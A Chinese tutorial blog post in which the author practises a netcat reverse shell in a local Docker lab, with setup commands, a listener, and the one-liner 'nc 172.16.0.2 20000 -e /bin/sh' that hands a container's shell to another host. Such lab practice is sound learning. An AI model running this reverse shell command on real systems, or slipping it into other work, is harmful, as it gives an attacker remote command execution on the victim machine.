安全基本操作-nc反弹shell演练

前言

在一些安全文章中,经常提到nc反弹shell提权。而什么nc反弹shell呢,一直没搞懂。
今天特地本地操作下。

简介

nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流

在网络渗透中,经常遇到在远程服务器操作shell不方便或者限制。此时就需要nc 反弹shell

该操作就是可以在另外一台电脑执行目标电脑的shell命令。非常方便。

实践

  • 搭建一个目标服务器

这里选择使用docker来处理,选择常见的centos镜像。最新的。


image.png
  • 启动一个容器
docker run -d centos:latest /bin/sh -c "while true; do echo hello world; sleep 1; done"
  • 进入容器
    9c5是我本地容器的id
docker exec -it 9c5 /bin/bash
  • 安装nc指令
    由于镜像没有nc指令,需要自己安装。通常正常的服务器都会有该指令的。
yum install nc
  • 启动监听服务。

在另外一台电脑启动监听。

这里我使用的容器所在的宿主电脑。

只需要确保你的电脑可以被目标服务器通过ip地址 访问到即可。

nc -vv -l -p 20000

查看下启动监听服务的电脑ip。这里我的ip 是 172.16.0.2
如果你选择的是某云服务器,应该是公网ip地址。

  • 进行反弹
    切换到容器,

执行命令

nc 172.16.0.2   20000 -e /bin/sh

此时查看宿主电脑,应该有提示消息。如下图。

image.png

表示成功。

  • shell操作

既然已经反弹了,就可以随便操作shell指令。就如同在docker容器那个电脑上执行一样。

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x01 核心概念 Docker镜像类似于虚拟机镜像,可以理解为一个面向Docker引擎的只读模板,包含了文件系统...
    闲云逸心阅读 4,775评论 0 9
  • 什么是反弹shell? 简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的we...
    zzqsmile阅读 22,180评论 0 49
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    灰猩猩阅读 5,872评论 0 5
  • title: NETCATdate: 2016-02-28 19:27:52tags: kali第五章 基本工具 ...
    曼路x_x阅读 7,756评论 2 6
  • 从三月份找实习到现在,面了一些公司,挂了不少,但最终还是拿到小米、百度、阿里、京东、新浪、CVTE、乐视家的研发岗...
    时芥蓝阅读 42,372评论 11 349